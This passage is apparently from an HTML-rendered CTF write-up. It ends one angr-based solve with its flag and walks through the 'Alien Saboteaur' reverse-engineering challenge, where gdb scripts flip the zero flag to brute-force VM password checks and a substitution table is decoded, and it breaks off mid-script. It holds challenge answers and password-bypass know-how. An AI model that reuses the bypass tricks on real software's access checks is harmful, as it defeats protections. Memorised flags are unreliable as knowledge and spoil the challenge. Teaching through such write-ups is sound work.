proj<span class=\"token punctuation\">.</span>factory<span class=\"token punctuation\">.</span>simgr<span class=\"token punctuation\">(</span>init_state<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">>></span><span class=\"token operator\">></span> simgr<span class=\"token punctuation\">.</span>explore<span class=\"token punctuation\">(</span>find<span class=\"token operator\">=</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x401ab3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> avoid<span class=\"token operator\">=</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x401ac1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token operator\">&lt;</span>SimulationManager <span class=\"token keyword\">with</span> <span class=\"token number\">1</span> found<span class=\"token punctuation\">,</span> <span class=\"token number\">61</span> avoid<span class=\"token operator\">></span>\n<span class=\"token operator\">>></span><span class=\"token operator\">></span> simgr<span class=\"token punctuation\">.</span>found\n<span class=\"token punctuation\">[</span><span class=\"token operator\">&lt;</span>SimState @ <span class=\"token number\">0x401ab3</span><span class=\"token operator\">></span><span class=\"token punctuation\">]</span>\n<span class=\"token operator\">>></span><span class=\"token operator\">></span> simgr<span class=\"token punctuation\">.</span>found<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>posix<span class=\"token punctuation\">.</span>dumps<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n<span class=\"token string\">b\"HTB{H0p3_u_d1dn't_g3t_th15_by_h4nd,1t5_4_pr3tty_l0ng_fl4g!!!}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"</span></code></pre></div>\n<h2 id=\"alien-saboteaur-rev\" style=\"position:relative;\"><a href=\"#alien-saboteaur-rev\" aria-label=\"alien saboteaur rev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Alien Saboteaur (Rev)</h2>\n<blockquote>\n<p>You finally manage to make it into the main computer of the vessel, it’s time to get this over with. You try to shutdown the vessel, however a couple of access codes unknown to you are needed. You try to figure them out, but the computer start speaking some weird language, it seems like gibberish…</p>\n</blockquote>\n<p>This challenge took a brute-force approach that ended up costing considerable time.</p>\n<p>The challenge provided two files: a piece of opaque binary data, and a program that reads and processes that binary data.</p>\n<p>After analyzing the program, we confirmed that starting from the 3rd byte of the binary data, cutting out 6 bytes at a time yields custom assembly instructions and data fields.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 616px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/7cef778bb75918a66189a73b3788359d/40040/image-20230325002145763.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 71.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAABwElEQVQ4y1WTx6pDMQxEvQ/pPYH03ntdJCQQSP7/f/Q4grn4LQZZur7jkTwOy+XSrterDQYDGw6HNpvNbD6fJ+D7YrH4V1uv19br9azdblu9XrdcLme1Ws0ymYyF3W5nj8fDxuOxb9xsNkZtu906qBGpx3E0Glk6nbZyuWzVatUJK5WKhcPhYK/Xy6bTqW8mF6HIqbEG+/3eTqeTC8jn805SKBQc2WzWAi2cz2fr9/tOCmhbbbLWGFRjT7fbdRLUQYrSYrFo4Xa72e/381mhhHkKKLlcLr4mcjA1/oEYwmaz6UQQkwdOow2GTBuTySSJfCOqppx1q9XyFrkQWkch68Dp3+83UYgK1IDj8eh5rBDc73dXKGWlUskajYaTBojYjELZIp5ZPEtZiNjpdNwmkCii1G3zfD69ldVq5bdLDWAZEN86kU6wDcrwoaLPkI8xIT/LIjG51rIWDyFWCNw2yGdW2EYXoXaVq0bbynklGFseBMmlvN9v34QKyLGGXgk5itQya2zDTadSKZ+bbtoVigijMhfesyxCJAeyD3uocykoFJHgxv58Pt4ip6MI4E1mhgOoA2rk/AM5hFwI7xjQ9h/6Z5oIzzmT0gAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/7cef778bb75918a66189a73b3788359d/8ac56/image-20230325002145763.webp 240w,\n/static/7cef778bb75918a66189a73b3788359d/d3be9/image-20230325002145763.webp 480w,\n/static/7cef778bb75918a66189a73b3788359d/26c8a/image-20230325002145763.webp 616w\"\n              sizes=\"(max-width: 616px) 100vw, 616px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/7cef778bb75918a66189a73b3788359d/8ff5a/image-20230325002145763.png 240w,\n/static/7cef778bb75918a66189a73b3788359d/e85cb/image-20230325002145763.png 480w,\n/static/7cef778bb75918a66189a73b3788359d/40040/image-20230325002145763.png 616w\"\n            sizes=\"(max-width: 616px) 100vw, 616px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/7cef778bb75918a66189a73b3788359d/40040/image-20230325002145763.png\"\n            alt=\"image-20230325002145763\"\n            title=\"image-20230325002145763\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Writing a script to extract the instruction portions, we found that the instruction set uses opcodes from 0x0 to 0x18, as shown below.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 189px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/812e86a410ca007be3195b352c822e5c/0f8c7/image-20230325002305900.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 277.24867724867727%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,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'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/812e86a410ca007be3195b352c822e5c/edb7f/image-20230325002305900.webp 189w\"\n              sizes=\"(max-width: 189px) 100vw, 189px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/812e86a410ca007be3195b352c822e5c/0f8c7/image-20230325002305900.png 189w\"\n            sizes=\"(max-width: 189px) 100vw, 189px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/812e86a410ca007be3195b352c822e5c/0f8c7/image-20230325002305900.png\"\n            alt=\"image-20230325002305900\"\n            title=\"image-20230325002305900\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>At this point we attempted to analyze the behavior of the custom instruction set directly, but made no progress.</p>\n<p>Shifting focus to the order in which instructions were called, we noticed that several instructions seemingly responsible for pushing input values onto the stack — <code class=\"language-text\">vm_input</code>, <code class=\"language-text\">vm_store</code>, <code class=\"language-text\">vm_push</code>, and others — were called multiple times before a branch via <code class=\"language-text\">vm_je</code> was taken.</p>\n<p>From this, we identified the call site of <code class=\"language-text\">vm_je</code> in gdb and used the following script to flip the ZF flag and extract register values one by one, allowing us to brute-force the first password:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token keyword\">for</span> <span class=\"token for-or-select variable\">c</span> <span class=\"token keyword\">in</span> range<span class=\"token punctuation\">(</span>len<span class=\"token punctuation\">(</span><span class=\"token string\">\"c0d3_r3d_5h\"</span><span class=\"token punctuation\">))</span>:\n    <span class=\"token comment\"># register</span>\n    reg <span class=\"token operator\">=</span> int<span class=\"token punctuation\">(</span>gdb.parse_and_eval<span class=\"token punctuation\">(</span><span class=\"token string\">\"<span class=\"token variable\">$rax</span>\"</span><span class=\"token punctuation\">))</span>\n    pw <span class=\"token operator\">+=</span> chr<span class=\"token punctuation\">(</span>reg<span class=\"token punctuation\">)</span>\n\n    gdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"set <span class=\"token variable\">$eflags</span> ^= (1 &lt;&lt; <span class=\"token variable\">$ZF</span>)\"</span><span class=\"token punctuation\">)</span>\n    gdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"continue\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>After entering the first password and continuing, the program prompts for a second password.</p>\n<p>This second password was also compared using <code class=\"language-text\">vm_je</code>, so we extracted information the same way via brute force — but what we got was the nonsensical string <code class=\"language-text\">e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661</code>.</p>\n<p>Further analysis revealed that <code class=\"language-text\">e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661</code> is the actual second-password string with both its characters and their positions replaced according to fixed rules.</p>\n<p>Specifically, ‘A’ was replaced with ‘C’, ‘B’ with ’@’, and the 3rd character of the password was mapped to the 10th position at comparison time, and so on.</p>\n<p>We therefore used the following script to vary the second password’s characters one at a time and build a mapping of character-to-position substitutions:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token comment\"># gdb -x solver2.py</span>\n<span class=\"token function\">import</span> gdb\nfrom pprint <span class=\"token function\">import</span> pprint\n\nBINDIR <span class=\"token operator\">=</span> <span class=\"token string\">\"/root\"</span>\nBIN <span class=\"token operator\">=</span> <span class=\"token string\">\"vm\"</span>\n\n<span class=\"token string\">\"\"</span>\"\nb *<span class=\"token punctuation\">(</span>vm_je+124<span class=\"token punctuation\">)</span>\n<span class=\"token builtin class-name\">set</span> <span class=\"token variable\">$ZF</span> <span class=\"token operator\">=</span> <span class=\"token number\">6</span>\nc0d3_r3d_5h\n<span class=\"token builtin class-name\">set</span> <span class=\"token variable\">$eflags</span> ^<span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token variable\">$ZF</span><span class=\"token punctuation\">)</span>\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n<span class=\"token string\">\"\"</span>\"\n\ngdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">'file {}/{}'</span>.format<span class=\"token punctuation\">(</span>BINDIR, BIN<span class=\"token punctuation\">))</span>\ngdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *(vm_je+124)'</span><span class=\"token punctuation\">)</span>\ngdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">'set $ZF = 6'</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># echo \"AAAAAAAAAAAAAAAAA\" > input.txt; echo \"e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661\" >> input.txt</span>\norder <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token comment\"># for i in range(0,len(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\")):</span>\n<span class=\"token keyword\">for</span> <span class=\"token for-or-select variable\">i</span> <span class=\"token keyword\">in</span> range<span class=\"token punctuation\">(</span><span class=\"token number\">0,1</span><span class=\"token punctuation\">)</span>:\n    with open<span class=\"token punctuation\">(</span><span class=\"token string\">\"input.txt\"</span>, <span class=\"token string\">\"w\"</span><span class=\"token punctuation\">)</span> as f:\n        t <span class=\"token operator\">=</span> list<span class=\"token punctuation\">(</span><span class=\"token string\">\"AAAAAAAAAAAAAAAAA<span class=\"token entity\" title=\"\\n\">\\n</span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"</span><span class=\"token punctuation\">)</span>\n        t <span class=\"token operator\">=</span> list<span class=\"token punctuation\">(</span><span class=\"token string\">\"AAAAAAAAAAAAAAAAA<span class=\"token entity\" title=\"\\n\">\\n</span>15lgTu_lB1n43w44dh740r_Hu3n_3}{l_ngr\"</span><span class=\"token punctuation\">)</span>\n        <span class=\"token comment\"># t[18+i] = \"B\"</span>\n        f.write<span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span>.join<span class=\"token punctuation\">(</span>t<span class=\"token punctuation\">))</span>\n\n\n    gdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">'run bin &lt; ./input.txt'</span><span class=\"token punctuation\">)</span>\n\n    pw <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\n    <span class=\"token keyword\">for</span> <span class=\"token for-or-select variable\">c</span> <span class=\"token keyword\">in</span> range<span class=\"token punctuation\">(</span>len<span class=\"token punctuation\">(</span><span class=\"token string\">\"c0d3_r3d_5h\"</span><span class=\"token punctuation\">))</span>:\n        <span class=\"token comment\"># register</span>\n        reg <span class=\"token operator\">=</span> int<span class=\"token punctuation\">(</span>gdb.parse_and_eval<span class=\"token punctuation\">(</span><span class=\"token string\">\"<span class=\"token variable\">$rax</span>\"</span><span class=\"token punctuation\">))</span>\n        pw <span class=\"token operator\">+=</span> chr<span class=\"token punctuation\">(</span>reg<span class=\"token punctuation\">)</span>\n\n        gdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"set <span class=\"token variable\">$eflags</span> ^= (1 &lt;&lt; <span class=\"token variable\">$ZF</span>)\"</span><span class=\"token punctuation\">)</span>\n        gdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"continue\"</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># gdb.execute('b *(vm_run+25)')</span>\n    gdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"set <span class=\"token variable\">$eflags</span> ^= (1 &lt;&lt; <span class=\"token variable\">$ZF</span>)\"</span><span class=\"token punctuation\">)</span>\n    gdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"continue\"</span><span class=\"token punctuation\">)</span>\n\n    alp <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">for</span> <span class=\"token for-or-select variable\">c</span> <span class=\"token keyword\">in</span> range<span class=\"token punctuation\">(</span><span class=\"token number\">36</span><span class=\"token punctuation\">)</span>:\n        <span class=\"token comment\"># register</span>\n        reg <span class=\"token operator\">=</span> int<span class=\"token punctuation\">(</span>gdb.parse_and_eval<span class=\"token punctuation\">(</span><span class=\"token string\">\"<span class=\"token variable\">$rax</span>\"</span><span class=\"token punctuation\">))</span>\n        alp.append<span class=\"token punctuation\">(</span>chr<span class=\"token punctuation\">(</span>reg<span class=\"token punctuation\">))</span>\n        <span class=\"token keyword\">if</span> int<span class=\"token punctuation\">(</span>gdb.parse_and_eval<span class=\"token punctuation\">(</span><span class=\"token string\">\"<span class=\"token variable\">$rcx</span>\"</span><span class=\"token punctuation\">))</span> <span class=\"token operator\">!=</span> reg:\n            gdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"set <span class=\"token variable\">$eflags</span> ^= (1 &lt;&lt; <span class=\"token variable\">$ZF</span>)\"</span><span class=\"token punctuation\">)</span>\n        gdb.execute<span class=\"token punctuation\">(</span><span class=\"token string\">\"continue\"</span><span class=\"token punctuation\">)</span>\n\n    order.append<span class=\"token punctuation\">(</span>alp.index<span class=\"token punctuation\">(</span><span class=\"token string\">\"@\"</span><span class=\"token punctuation\">))</span>\n    print<span class=\"token punctuation\">(</span>alp<span class=\"token punctuation\">)</span>\n    print<span class=\"token punctuation\">(</span>order<span class=\"token punctuation\">)</span></code></pre></div>\n<p>Finally, we built a character-and-position substitution table and used the following script to decode <code class=\"language-text\">e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661</code>, obtaining the flag:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">alp <span class=\"token operator\">=</span> <span class=\"token string\">\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij\"</span>\nalp <span class=\"token operator\">=</span> <span class=\"token string\">\"klmnopqrstuvwxyz1234567890!#$%}{_-^~\"</span>\nflag <span class=\"token operator\">=</span> <span class=\"token string\">\"e]wJ3@Vlu7]5nnf6l6pewj1y]1p\\177ln32661]\"</span>\nresult <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token string\">'\\x7f'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'v'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'z'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'i'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'s'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'o'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'n'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"'\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'r'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'m'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'3'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'0'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'5'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'q'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'x'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">']'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'{'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'4'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'t'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'/'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'y'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'1'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">';'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'l'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'7'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'\\\\'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'p'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'|'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'2'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'!'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">':'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'u'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'w'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'&amp;'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'6'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'#'</span><span class=\"token punctuation\">]</span>\norder <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">23</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">26</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">32</span><span class=\"token punctuation\">,</span> <span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">31</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">34</span><span class=\"token punctuation\">,</span> <span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">17</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">30</span><span class=\"token punctuation\">,</span> <span class=\"token number\">22</span><span class=\"token punctuation\">,</span> <span class=\"token number\">28</span><span class=\"token punctuation\">,</span> <span class=\"token number\">35</span><span class=\"token punctuation\">,</span> <span class=\"token number\">29</span><span class=\"token punctuation\">,</span> <span class=\"token number\">33</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">20</span><span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">25</span><span class=\"token punctuation\">,</span> <span class=\"token number\">27</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token builtin\">dict</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token string\">'C'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'A'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'@'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'B'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'A'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'C'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'F'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'D'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'G'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'E'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'D'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'F'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'E'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'G'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'J'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'H'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'K'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'I'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'H'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'J'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'I'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'K'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'N'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'L'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'O'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'M'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'L'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'N'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'M'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'O'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'R'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'P'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'S'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'Q'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'P'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'R'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'Q'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'S'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'V'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'T'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'W'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'U'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'T'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'V'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'U'</span><span class=\"token punctuation\">:</span> <span 